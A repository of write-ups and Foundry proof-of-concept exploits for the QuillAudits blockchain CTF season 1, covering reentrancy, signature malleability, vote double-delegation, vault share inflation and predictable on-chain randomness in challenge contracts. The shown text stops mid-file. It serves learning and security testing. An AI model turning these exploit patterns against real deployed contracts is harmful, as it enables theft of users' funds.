├── README.md ├── 1.t.sol ├── Donate.t.sol ├── 7.t.sol ├── KeyCraft.t.sol ├── TemporaryVariable.t.sol ├── donate.md ├── MolochVaultGoerli.t.sol.tmp ├── TemporaryVariable.md ├── Panda.t.sol ├── VotingMachine.t.sol ├── PredictableNFT.t.sol ├── WETH11.t.sol ├── NFTBank.t.sol ├── Gate.t.sol ├── GoldNFT.t.sol ├── InvestPool.t.sol ├── VotingMachine.md ├── WETH11.md ├── WETH10.t.sol ├── 8.t.sol ├── PseudoRandom.t.sol ├── NFTBank.md ├── LicenseManager.t.sol ├── Lottery.t.sol ├── KeyCraft.md ├── WETH10.md ├── PseudoRandom.md ├── LicenseManager.md ├── SlotPuzzle.t.sol ├── EQ.t.sol ├── 8.t.md ├── Lottery.md ├── InvestPool.md ├── GoldNFT.md ├── EQ.md ├── PredictableNFT.md ├── Arbitrage.t.sol ├── Arbitrage.md ├── PrivateClub.t.sol ├── Panda.md ├── PrivateClub.md ├── Collect.t.sol ├── SlotPuzzle.md ├── Gate.md ├── MetaToken.t.sol ├── MetaToken.md ├── MolochVault.t.sol └── MolochVault.md /README.md: -------------------------------------------------------------------------------- 1 | # quill-ctf-s1 write up 2 | Some write up about Quill blockchain CTF (season 1) 3 | 4 | Some challenges are really interesting, I failed to solve the one about Uniswap v3, pretty sure some guys were better than me at that moment, but anyway, I was lucky to be the top 1. 5 | 6 | Enjoy and Good Luck:) 7 | 8 | https://academy.quillaudits.com/challenges 9 | -------------------------------------------------------------------------------- /1.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | pragma solidity > 0.8.7; 3 | 4 | import "../src/1.sol"; 5 | import "forge-std/Test.sol"; 6 | 7 | contract Attack1 { 8 | 9 | RoadClosed victim; 10 | 11 | constructor(address addr) { 12 | victim = RoadClosed(addr); 13 | 14 | address self = address(this); 15 | 16 | victim.addToWhitelist(self); 17 | victim.changeOwner(self); 18 | victim.pwn(self); 19 | } 20 | } 21 | 22 | 23 | contract Test1 is Test { 24 | function setUp() public { 25 | 26 | } 27 | function test1() public { 28 | RoadClosed rc = new RoadClosed(); 29 | new Attack1(address(rc)); 30 | 31 | require(rc.isHacked(), "hack fail"); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /Donate.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.7; 3 | 4 | import "forge-std/Test.sol"; 5 | import "../src/donate.sol"; 6 | 7 | contract donateHack is Test { 8 | Donate donate; 9 | address keeper = makeAddr("keeper"); 10 | address owner = makeAddr("owner"); 11 | address hacker = makeAddr("hacker"); 12 | 13 | function setUp() public { 14 | vm.prank(owner); 15 | donate = new Donate(keeper); 16 | console.log("keeper2 - ", donate.keeper()); 17 | } 18 | 19 | function testhack() public { 20 | vm.startPrank(hacker); 21 | // Hack Time 22 | 23 | donate.secretFunction(string("refundETHAll(address)")); 24 | 25 | require(donate.keeperCheck(), "not pass !!!!!!"); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /7.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "forge-std/Test.sol"; 5 | import "src/7.sol"; 6 | 7 | 8 | contract AttackTrueXOR is IBoolGiver { 9 | function giveBool() external view returns (bool) { 10 | uint consume_3wei_gas; 11 | 12 | if (gasleft() % 2 == 1) { 13 | return true; 14 | } else { 15 | return false; 16 | } 17 | } 18 | } 19 | 20 | contract Test7 is Test { 21 | 22 | TrueXOR txor; 23 | AttackTrueXOR atkxor; 24 | 25 | function setUp() public { 26 | txor = new TrueXOR(); 27 | atkxor = new AttackTrueXOR(); 28 | } 29 | function testCallMe() public { 30 | vm.prank(tx.origin); 31 | assertEq(txor.callMe{gas:1000000}(address(atkxor)), true); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /KeyCraft.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity 0.8.19; 3 | 4 | import {Test} from "forge-std/Test.sol"; 5 | import "forge-std/console.sol"; 6 | import "../src/KeyCraft.sol"; 7 | 8 | contract KC is Test { 9 | KeyCraft k; 10 | address owner; 11 | address user; 12 | address attacker; 13 | 14 | function setUp() public { 15 | owner = makeAddr("owner"); 16 | user = makeAddr("user"); 17 | attacker = 0xC1b0f68C233018d3fAf76adABE5bfD70748d0f50; 18 | 19 | vm.deal(user, 1 ether); 20 | 21 | vm.startPrank(owner); 22 | k = new KeyCraft("KeyCraft", "KC"); 23 | vm.stopPrank(); 24 | 25 | vm.startPrank(user); 26 | k.mint{value: 1 ether}(hex"dead"); 27 | vm.stopPrank(); 28 | } 29 | 30 | function testKeyCraft() public { 31 | vm.startPrank(attacker); 32 | 33 | //Solution 34 | 35 | bytes memory b = hex"1dc4"; 36 | k.mint(b); 37 | k.burn(2); 38 | 39 | vm.stopPrank(); 40 | assertEq(attacker.balance, 1 ether); 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /TemporaryVariable.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | import "forge-std/Test.sol"; 4 | import "src/TemporaryVariable.sol"; 5 | 6 | 7 | contract testfactory is 8 | Test, 9 | factory 10 | { 11 | factory _factory; 12 | address user1 = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4; 13 | address user2 = 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2; 14 | function setUp() public { 15 | vm.prank(owner); 16 | _factory = new factory(); 17 | 18 | vm.deal (user1 , 100); 19 | vm.deal (user2 , 100); 20 | 21 | vm.prank(user1); 22 | _factory.supply(user1, 100); 23 | vm.prank(user2); 24 | _factory.supply(user2, 100); 25 | } 26 | 27 | function testFactory() public { 28 | vm.prank(user1); 29 | 30 | //solution 31 | _factory.remove(user1, 100); 32 | vm.prank(user1); 33 | _factory.supply(user1, 200); 34 | 35 | 36 | uint256 newbalance = _factory.checkbalance(user1); 37 | assertEq(newbalance, 200); 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /donate.md: -------------------------------------------------------------------------------- 1 | # Analysis: 2 | The key is to use the `secretFunction()` to call the `changeKeeper()`, the parameter should be `changeKeeper(address)`, or any function with same signature. 3 | 4 | The signature of `changeKeeper(address)` is `0x097798381ee91bee7e3420f37298fe723a9eedeade5440d4b2b5ca3192da2428` which is banned, but we can use another function name `refundETHAll(address)`. 5 | 6 | # POC (Foundry) 7 | 8 | ```solidity 9 | // SPDX-License-Identifier: MIT 10 | pragma solidity ^0.8.7; 11 | 12 | import "forge-std/Test.sol"; 13 | import "../src/donate.sol"; 14 | 15 | contract donateHack is Test { 16 | Donate donate; 17 | address keeper = makeAddr("keeper"); 18 | address owner = makeAddr("owner"); 19 | address hacker = makeAddr("hacker"); 20 | 21 | function setUp() public { 22 | vm.prank(owner); 23 | donate = new Donate(keeper); 24 | console.log("keeper2 - ", donate.keeper()); 25 | } 26 | 27 | function testhack() public { 28 | vm.startPrank(hacker); 29 | // Hack Time 30 | 31 | donate.secretFunction(string("refundETHAll(address)")); 32 | 33 | require(donate.keeperCheck(), "not pass !!!!!!"); 34 | } 35 | } 36 | 37 | 38 | ``` 39 | 40 | -------------------------------------------------------------------------------- /MolochVaultGoerli.t.sol.tmp: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.7; 3 | 4 | import "forge-std/Test.sol"; 5 | import "../src/MolochVault.sol"; 6 | 7 | contract SolveMolochVaultGoerli is Test { 8 | MOLOCH_VAULT vault; 9 | 10 | function setUp() public { 11 | vault = MOLOCH_VAULT(payable(0xafb9ed5cd677a1bd5725ca5fcb9a3a0572d94f6f)); 12 | } 13 | 14 | function testhack() public { 15 | string[3] memory openSecret; 16 | 17 | openSecret[0] = "BLOODY PHARMACIST"; 18 | openSecret[1] = "WHO DO YOUSERVE?"; 19 | openSecret[2] = ""; 20 | // bytes memory x1 = abi.encodePacked(openSecret[0]); 21 | // console.logBytes(x1); 22 | // bytes memory x2 = abi.encodePacked(openSecret[0], openSecret[1]); 23 | // console.logBytes(x2); 24 | 25 | payBack = true; // need to pay 2 wei to bypass the balance check 26 | vault.uhER778(openSecret); // this should register us as `realHacker` 27 | 28 | payBack = false; // don't pay back when receive ether 29 | vault.sendGrant(payable(this)); // get back 1 wei that we send in the `receive()` 30 | vault.sendGrant(payable(this)); // steal 1 wei 31 | } 32 | 33 | bool payBack; 34 | receive() external payable { 35 | if(payBack) { 36 | address(msg.sender).call{value:2 wei}(""); 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /TemporaryVariable.md: -------------------------------------------------------------------------------- 1 | # Analysis 2 | The function `supply` allows arbitrary `_amount`, there is no validation of sender's balance. So we can simply `remove` our balance and `supply(_, 200)` 3 | 4 | # POC 5 | ```solidity 6 | // SPDX-License-Identifier: UNLICENSED 7 | pragma solidity ^0.8.13; 8 | import "forge-std/Test.sol"; 9 | import "src/TemporaryVariable.sol"; 10 | 11 | 12 | contract testfactory is 13 | Test, 14 | factory 15 | { 16 | factory _factory; 17 | address user1 = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4; 18 | address user2 = 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2; 19 | function setUp() public { 20 | vm.prank(owner); 21 | _factory = new factory(); 22 | 23 | vm.deal (user1 , 100); 24 | vm.deal (user2 , 100); 25 | 26 | vm.prank(user1); 27 | _factory.supply(user1, 100); 28 | vm.prank(user2); 29 | _factory.supply(user2, 100); 30 | } 31 | 32 | function testFactory() public { 33 | vm.prank(user1); 34 | 35 | //solution 36 | _factory.remove(user1, 100); 37 | vm.prank(user1); 38 | _factory.supply(user1, 200); 39 | 40 | 41 | uint256 newbalance = _factory.checkbalance(user1); 42 | assertEq(newbalance, 200); 43 | } 44 | } 45 | 46 | 47 | ``` 48 | -------------------------------------------------------------------------------- /Panda.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8; 3 | 4 | import "forge-std/Test.sol"; 5 | import "src/PandaToken.sol"; 6 | 7 | 8 | contract Hack is Test { 9 | PandaToken pandatoken; 10 | address owner = vm.addr(1); 11 | address hacker = vm.addr(2); 12 | 13 | function setUp() external { 14 | vm.prank(owner); 15 | pandatoken = new PandaToken(400, "PandaToken", "PND"); 16 | } 17 | 18 | function test() public { 19 | vm.startPrank(hacker); 20 | bytes32 hash = keccak256(abi.encode(hacker, 1 ether)); 21 | (uint8 v, bytes32 r, bytes32 s) = vm.sign(1, hash); 22 | 23 | // solution 24 | 25 | // method 1. get token from owner 26 | // the first 0x41 bytes must be correct 27 | { 28 | bytes memory signature = abi.encodePacked(r, s, v); 29 | pandatoken.getTokens(1 ether, signature); 30 | } 31 | { 32 | bytes memory signature = abi.encodePacked(r, s, v, uint(1)); 33 | pandatoken.getTokens(1 ether, signature); 34 | } 35 | { 36 | bytes memory signature = abi.encodePacked(r, s, v, uint(2)); 37 | pandatoken.getTokens(1 ether, signature); 38 | } 39 | 40 | // method 2. get token from address(0) 41 | // just send any bytes to it, as long as it's different 42 | // 43 | // for (uint i=0; i<3; i++) { 44 | // bytes memory signature = abi.encodePacked(i, i, i); 45 | // pandatoken.getTokens(1 ether, signature); 46 | // } 47 | 48 | assertEq(pandatoken.balanceOf(hacker), 3 ether); 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /VotingMachine.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.12; 3 | 4 | import "forge-std/Test.sol"; 5 | import "../src/VotingMachine.sol"; 6 | 7 | contract ExploitVotingMachine is Test { 8 | VoteToken vToken; 9 | address public owner = address(0); 10 | address public hacker =address(1337); 11 | 12 | address public alice= address(1); 13 | address public bob = address(2); 14 | address public carl = address(3); 15 | 16 | function setUp() public { 17 | vm.startPrank(owner); 18 | vToken = new VoteToken(); 19 | vToken.mint(alice, 1000); 20 | vm.stopPrank(); 21 | } 22 | 23 | function testExploit() public { 24 | vm.startPrank(alice); 25 | // soluiton 26 | 27 | // 1. Alice delegate to hacker and send balance to Bob 28 | vToken.delegate(hacker); 29 | vToken.transfer(bob, 1000); 30 | vm.stopPrank(); 31 | 32 | vm.startPrank(bob); 33 | // 2. Bob delegate to hacker and send balance to Carl 34 | vToken.delegate(hacker); 35 | vToken.transfer(carl, 1000); 36 | vm.stopPrank(); 37 | 38 | vm.startPrank(carl); 39 | // 3. Carl delegate to hacker and send balance to hacker 40 | vToken.delegate(hacker); 41 | vToken.transfer(hacker, 1000); 42 | vm.stopPrank(); 43 | 44 | uint hacker_vote = vToken.getVotes(hacker); 45 | console.log("Vote Count of Hacker before attack: %s ", hacker_vote); 46 | 47 | uint hacker_balance= vToken.balanceOf(hacker); 48 | console.log("Hacker's vToken after the attack: %s: ", hacker_balance); 49 | 50 | assertEq(hacker_vote , 3000); 51 | assertEq(hacker_balance, 1000); 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /PredictableNFT.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^ 0.8.19; 3 | 4 | import "forge-std/Test.sol"; 5 | 6 | contract PredictableNFTTest is Test { 7 | address nft; 8 | 9 | address hacker = address(0x1234); 10 | 11 | function setUp() public { 12 | vm.createSelectFork("goerli", 8859311); 13 | vm.deal(hacker, 1 ether); 14 | 15 | nft = address(0xFD3CbdbD9D1bBe0452eFB1d1BFFa94C8468A66fC); 16 | } 17 | 18 | function test() public { 19 | vm.startPrank(hacker); 20 | 21 | uint mintedId; 22 | 23 | uint currentBlockNum = block.number; 24 | 25 | // You only have 1 chance, make sure mint a Superior one, 26 | // do it within the next 100 blocks. 27 | for(uint i=0; i<100; i++) { 28 | vm.roll(currentBlockNum); 29 | 30 | // ---- hacking time ---- 31 | // call the function `mint()` on the right block 32 | 33 | (, bytes memory ret) = nft.call(abi.encodeWithSignature( 34 | "id()" 35 | )); 36 | uint nextId = uint(bytes32(ret)) + 1; 37 | 38 | uint score = uint256(keccak256(abi.encode( 39 | nextId, hacker, currentBlockNum 40 | ))) % 100; 41 | 42 | if(score > 90) { 43 | (, bytes memory ret) = nft.call{value: 1 ether}(abi.encodeWithSignature( 44 | "mint()" 45 | )); 46 | mintedId = uint(bytes32(ret)); 47 | break; 48 | } 49 | // ---- end of hacking ---- 50 | 51 | currentBlockNum++; 52 | } 53 | 54 | // get rank from `mapping(tokenId => rank)` 55 | (, bytes memory ret) = nft.call(abi.encodeWithSignature( 56 | "tokens(uint256)", 57 | mintedId 58 | )); 59 | uint mintedRank = uint(bytes32(ret)); 60 | assertEq(mintedRank, 3, "not Superior(rank != 3)"); 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /WETH11.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: Manija 2 | pragma solidity ^0.8.13; 3 | 4 | import "forge-std/Test.sol"; 5 | import "forge-std/console.sol"; 6 | import "@openzeppelin/contracts/interfaces/IERC20.sol"; 7 | 8 | import "../src/WETH11.sol"; 9 | 10 | contract Weth11Test is Test { 11 | WETH11 public weth; 12 | address owner; 13 | address bob; 14 | 15 | function setUp() public { 16 | weth = new WETH11(); 17 | bob = makeAddr("bob"); 18 | 19 | vm.deal(address(bob), 10 ether); 20 | vm.startPrank(bob); 21 | weth.deposit{value: 10 ether}(); 22 | weth.transfer(address(weth), 10 ether); 23 | vm.stopPrank(); 24 | } 25 | 26 | function testHack() public { 27 | assertEq( 28 | weth.balanceOf(address(weth)), 29 | 10 ether, 30 | "weth contract should have 10 ether" 31 | ); 32 | 33 | vm.startPrank(bob); 34 | 35 | // hack time! 36 | 37 | bytes memory data = abi.encodeWithSignature( 38 | "approve(address,uint256)", 39 | bob, 40 | 10 ether 41 | ); 42 | 43 | weth.execute(address(weth), 0, data); 44 | 45 | weth.transferFrom(address(weth), bob, 10 ether); 46 | 47 | weth.withdraw(10 ether); 48 | 49 | // ----- 50 | 51 | vm.stopPrank(); 52 | 53 | assertEq(address(weth).balance, 0, "empty weth contract"); 54 | assertEq( 55 | weth.balanceOf(address(weth)), 56 | 0, 57 | "empty weth on weth contract" 58 | ); 59 | 60 | assertEq( 61 | bob.balance, 62 | 10 ether, 63 | "player should recover initial 10 ethers" 64 | ); 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /NFTBank.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8; 3 | 4 | import "forge-std/Test.sol"; 5 | import {NFTBank} from "../src/NFTBank.sol"; 6 | import {ERC721} from "openzeppelin-contracts/contracts/token/ERC721/ERC721.sol"; 7 | import {Ownable} from "openzeppelin-contracts/contracts/access/Ownable.sol"; 8 | import {IERC721Receiver} from "openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.sol"; 9 | 10 | contract CryptoKitties is ERC721("CryptoKitties", "MEOW"), Ownable { 11 | function mint(address to, uint id) external onlyOwner { 12 | _safeMint(to, id); 13 | } 14 | } 15 | 16 | contract NFTBankHack is Test { 17 | NFTBank bank; 18 | CryptoKitties meow; 19 | address nftOwner = makeAddr("nftOwner"); 20 | address attacker = makeAddr("attacker"); 21 | 22 | function setUp() public { 23 | vm.startPrank(nftOwner); 24 | bank = new NFTBank(); 25 | meow = new CryptoKitties(); 26 | for (uint i; i < 10; i++) { 27 | meow.mint(nftOwner, i); 28 | meow.approve(address(bank), i); 29 | bank.addNFT(address(meow), i, 2 gwei, 500 gwei); 30 | } 31 | vm.stopPrank(); 32 | } 33 | 34 | 35 | function test() public { 36 | vm.deal(attacker, 1 ether); 37 | vm.startPrank(attacker); 38 | bank.rent{value: 500 gwei}(address(meow), 1); 39 | vm.warp(block.timestamp + 86400 * 10); 40 | 41 | //solution 42 | 43 | bank.rent{value: 500 gwei}(address(meow), 2); 44 | meow.approve(address(bank), 2); 45 | bank.addNFT(address(meow), 2, 0 gwei, 1000 gwei); 46 | bank.getBackNft(address(meow), 2, payable(address(this))); 47 | meow.approve(address(bank), 2); 48 | bank.refund{value: 0 gwei}(address(meow), 2); 49 | 50 | 51 | vm.stopPrank(); 52 | assertEq(attacker.balance, 1 ether); 53 | assertEq(meow.ownerOf(1), attacker); 54 | } 55 | } 56 | 57 | -------------------------------------------------------------------------------- /Gate.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "forge-std/Test.sol"; 5 | import "src/Gate.sol"; 6 | 7 | contract GateTest is Test { 8 | Gate gate; 9 | 10 | address attacker = address(0x1234); 11 | address solver; 12 | 13 | function setUp() public { 14 | gate = new Gate(); 15 | } 16 | 17 | function testSolve() public { 18 | bytes memory runtime_code = hex"60206000803560E01C806001901160155754600052F35B50FD"; 19 | bytes memory deploy_code = hex"6020603E6000396000516000556020605E60003960005160015560198060256000396000F3"; 20 | 21 | bytes memory all = bytes.concat( 22 | deploy_code, 23 | runtime_code, 24 | abi.encode(address(gate)), 25 | abi.encode(address(attacker)) 26 | ); 27 | 28 | address solver_; 29 | assembly { 30 | solver_ := create(0, add(all, 0x20), mload(all)) 31 | } 32 | solver = solver_; 33 | 34 | vm.prank(attacker, attacker); 35 | gate.open(solver); 36 | 37 | require(gate.opened(), "not opened"); 38 | } 39 | 40 | // get contract code from an address 41 | function at(address _addr) public view returns (bytes memory o_code) { 42 | assembly { 43 | // retrieve the size of the code, this needs assembly 44 | let size := extcodesize(_addr) 45 | // allocate output byte array - this could also be done without assembly 46 | // by using o_code = new bytes(size) 47 | o_code := mload(0x40) 48 | // new "memory end" including padding 49 | mstore(0x40, add(o_code, and(add(add(size, 0x20), 0x1f), not(0x1f)))) 50 | // store length in memory 51 | mstore(o_code, size) 52 | // actually retrieve the code, this needs assembly 53 | extcodecopy(_addr, add(o_code, 0x20), 0, size) 54 | } 55 | } 56 | } 57 | 58 | -------------------------------------------------------------------------------- /GoldNFT.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.7; 3 | 4 | import "forge-std/Test.sol"; 5 | import "../src/GoldNFT.sol"; 6 | 7 | import {IERC721Receiver} from "lib/openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.sol"; 8 | 9 | contract GoldNFTHack is Test { 10 | GoldNFT nft; 11 | HackGoldNft nftHack; 12 | address owner = makeAddr("owner"); 13 | address hacker = makeAddr("hacker"); 14 | 15 | function setUp() external { 16 | vm.createSelectFork("goerli", 8591866); 17 | nft = new GoldNFT(); 18 | } 19 | 20 | 21 | function test_Attack() public { 22 | vm.startPrank(hacker); 23 | // solution 24 | 25 | nftHack = new HackGoldNft(address(nft)); 26 | 27 | nftHack.get10Nft(); 28 | 29 | // end of solution 30 | assertEq(nft.balanceOf(hacker), 10); 31 | } 32 | } 33 | 34 | contract HackGoldNft is IERC721Receiver { 35 | bytes32 slot; 36 | address hacker; 37 | GoldNFT nft; 38 | 39 | constructor(address _nft) { 40 | hacker = msg.sender; 41 | nft = GoldNFT(_nft); 42 | 43 | address creator = 0x302fF1c5F7e264b792876B9456F42de8dF299863; 44 | slot = keccak256(abi.encode(creator)); 45 | } 46 | function get10Nft() external { 47 | nft.takeONEnft(slot); 48 | } 49 | 50 | function onERC721Received( 51 | address, address to, uint tokenId, bytes memory 52 | ) public returns (bytes4 ) { 53 | // send this nft to hacker 54 | nft.transferFrom(address(this), hacker, tokenId); 55 | 56 | // do it 9 more times 57 | if(nft.balanceOf(hacker) < 10) { 58 | nft.takeONEnft(slot); 59 | } 60 | 61 | // must return this selector as described here: 62 | // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/d59306bd06a241083841c2e4a39db08e1f3722cc/contracts/token/ERC721/IERC721Receiver.sol#L16 63 | return IERC721Receiver.onERC721Received.selector; 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /InvestPool.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.7; 3 | 4 | import "forge-std/Test.sol"; 5 | import "../src/InvestPool.sol"; 6 | 7 | contract HackInvestPool is Test { 8 | PoolToken token; 9 | InvestPool pool; 10 | address user = vm.addr(1); 11 | address hacker = vm.addr(2); 12 | 13 | function setUp() external { 14 | token = new PoolToken(); 15 | pool = new InvestPool(address(token)); 16 | 17 | token.mint(2000e18); 18 | token.transfer(user, 1000e18); 19 | token.transfer(hacker, 1000e18); 20 | 21 | vm.prank(user); 22 | token.approve(address(pool), type(uint).max); 23 | 24 | vm.prank(hacker); 25 | token.approve(address(pool), type(uint).max); 26 | } 27 | 28 | function userDeposit(uint amount) public { 29 | vm.prank(user); 30 | pool.deposit(amount); 31 | } 32 | function userWithdraw() public { 33 | vm.prank(user); 34 | pool.withdrawAll(); 35 | } 36 | function hackerDeposit(uint amount) public { 37 | vm.prank(hacker); 38 | pool.deposit(amount); 39 | } 40 | function hackerWithdraw() public { 41 | vm.prank(hacker); 42 | pool.withdrawAll(); 43 | } 44 | function hackerTransferToPool(uint amount) public { 45 | vm.prank(hacker); 46 | token.transfer(address(pool), amount); 47 | } 48 | 49 | function test_hack() public { 50 | uint hackerBalanceBeforeHack = token.balanceOf(hacker); 51 | 52 | vm.startPrank(hacker); 53 | pool.initialize("j5kvj49djym590dcjbm7034uv09jih094gjcmjg90cjm58bnginxxx"); 54 | vm.stopPrank(); 55 | 56 | 57 | hackerDeposit(1); 58 | hackerTransferToPool(1000e18 - 1); 59 | 60 | userDeposit(1000e18 - 1); 61 | 62 | hackerWithdraw(); 63 | 64 | assertGt(token.balanceOf(hacker), hackerBalanceBeforeHack); 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /VotingMachine.md: -------------------------------------------------------------------------------- 1 | # Vulnerability: 2 | The function `delegate()` is simply based on caller's balance, if Alice does `delegate` and then transfer the balance to Bob, her previous delegation will still be in effect. 3 | A fix could be remove the previous delegation on transfering, or simply disable token transfering at voting moment. 4 | 5 | 6 | # POC 7 | ```solidity 8 | // SPDX-License-Identifier: UNLICENSED 9 | pragma solidity ^0.8.12; 10 | 11 | import "forge-std/Test.sol"; 12 | import "../src/VotingMachine.sol"; 13 | 14 | contract ExploitVotingMachine is Test { 15 | VoteToken vToken; 16 | address public owner = address(0); 17 | address public hacker =address(1337); 18 | 19 | address public alice= address(1); 20 | address public bob = address(2); 21 | address public carl = address(3); 22 | 23 | function setUp() public { 24 | vm.startPrank(owner); 25 | vToken = new VoteToken(); 26 | vToken.mint(alice, 1000); 27 | vm.stopPrank(); 28 | } 29 | 30 | function testExploit() public { 31 | vm.startPrank(alice); 32 | // soluiton 33 | 34 | // 1. Alice delegate to hacker and send balance to Bob 35 | vToken.delegate(hacker); 36 | vToken.transfer(bob, 1000); 37 | vm.stopPrank(); 38 | 39 | vm.startPrank(bob); 40 | // 2. Bob delegate to hacker and send balance to Carl 41 | vToken.delegate(hacker); 42 | vToken.transfer(carl, 1000); 43 | vm.stopPrank(); 44 | 45 | vm.startPrank(carl); 46 | // 3. Carl delegate to hacker and send balance to hacker 47 | vToken.delegate(hacker); 48 | vToken.transfer(hacker, 1000); 49 | vm.stopPrank(); 50 | 51 | uint hacker_vote = vToken.getVotes(hacker); 52 | console.log("Vote Count of Hacker before attack: %s ", hacker_vote); 53 | 54 | uint hacker_balance= vToken.balanceOf(hacker); 55 | console.log("Hacker's vToken after the attack: %s: ", hacker_balance); 56 | 57 | assertEq(hacker_vote , 3000); 58 | assertEq(hacker_balance, 1000); 59 | } 60 | } 61 | 62 | ``` 63 | -------------------------------------------------------------------------------- /WETH11.md: -------------------------------------------------------------------------------- 1 | # Bug: 2 | The function `execute()` can be used to call functions like `ERC20.approve()` with the `msg.sender` being itself, as long as the loan amount is 0. Bob can call the `approve()` to get back the tokens and then withdraw. 3 | 4 | 5 | # POC (Foundry) 6 | ```solidity 7 | // SPDX-License-Identifier: Manija 8 | pragma solidity ^0.8.13; 9 | 10 | import "forge-std/Test.sol"; 11 | import "forge-std/console.sol"; 12 | import "@openzeppelin/contracts/interfaces/IERC20.sol"; 13 | 14 | import "../src/WETH11.sol"; 15 | 16 | contract Weth11Test is Test { 17 | WETH11 public weth; 18 | address owner; 19 | address bob; 20 | 21 | function setUp() public { 22 | weth = new WETH11(); 23 | bob = makeAddr("bob"); 24 | 25 | vm.deal(address(bob), 10 ether); 26 | vm.startPrank(bob); 27 | weth.deposit{value: 10 ether}(); 28 | weth.transfer(address(weth), 10 ether); 29 | vm.stopPrank(); 30 | } 31 | 32 | function testHack() public { 33 | assertEq( 34 | weth.balanceOf(address(weth)), 35 | 10 ether, 36 | "weth contract should have 10 ether" 37 | ); 38 | 39 | vm.startPrank(bob); 40 | 41 | // hack time! 42 | 43 | bytes memory data = abi.encodeWithSignature( 44 | "approve(address,uint256)", 45 | bob, 46 | 10 ether 47 | ); 48 | 49 | weth.execute(address(weth), 0, data); 50 | 51 | weth.transferFrom(address(weth), bob, 10 ether); 52 | 53 | weth.withdraw(10 ether); 54 | 55 | // ----- 56 | 57 | vm.stopPrank(); 58 | 59 | assertEq(address(weth).balance, 0, "empty weth contract"); 60 | assertEq( 61 | weth.balanceOf(address(weth)), 62 | 0, 63 | "empty weth on weth contract" 64 | ); 65 | 66 | assertEq( 67 | bob.balance, 68 | 10 ether, 69 | "player should recover initial 10 ethers" 70 | ); 71 | } 72 | } 73 | 74 | ``` 75 | 76 | -------------------------------------------------------------------------------- /WETH10.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "forge-std/Test.sol"; 5 | import "src/WETH10.sol"; 6 | 7 | contract Weth10Test is Test { 8 | WETH10 public weth; 9 | address owner; 10 | address bob; 11 | 12 | function setUp() public { 13 | weth = new WETH10(); 14 | bob = makeAddr("bob"); 15 | 16 | vm.deal(address(weth), 10 ether); 17 | vm.deal(address(bob), 1 ether); 18 | } 19 | 20 | function testHack() public { 21 | assertEq(address(weth).balance, 10 ether, "weth contract should have 10 ether"); 22 | 23 | vm.startPrank(bob); 24 | 25 | // hack time! 26 | BobContract bc = new BobContract(weth); 27 | 28 | // give contract 1 ether 29 | bc.deposit{value: 1 ether}(); 30 | 31 | // run 10 round, each round increases WETH10.balaceOf(bob) by 1 ether. 32 | for(uint i=0; i<10; i++) { 33 | bc.oneRound(); 34 | } 35 | 36 | // so far, bob should have 10 ether of WETH10, withdraw to ether 37 | weth.withdrawAll(); 38 | 39 | // bob get back 1 ether from the contract 40 | bc.withdraw(); 41 | 42 | vm.stopPrank(); 43 | assertEq(address(weth).balance, 0, "empty weth contract"); 44 | assertEq(bob.balance, 11 ether, "player should end with 11 ether"); 45 | } 46 | } 47 | 48 | contract BobContract { 49 | address bob; 50 | WETH10 weth; 51 | 52 | constructor(WETH10 _weth) { 53 | bob = msg.sender; 54 | weth = _weth; 55 | } 56 | 57 | // bob deposit 1 ether for further operations 58 | function deposit() external payable {} 59 | // bob withdraw 1 ether after all done 60 | function withdraw() external { 61 | Address.sendValue(payable(bob), 1 ether); 62 | } 63 | 64 | // each round costs nothing but gains 1 ether of WETH10 token 65 | function oneRound() external payable { 66 | weth.deposit{value: 1 ether}(); 67 | weth.withdrawAll(); 68 | } 69 | 70 | receive() external payable { 71 | // transfer away the WETH10 token to prevent being burned. 72 | weth.transfer(address(bob), 1 ether); 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /8.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import "forge-std/Test.sol"; 5 | import 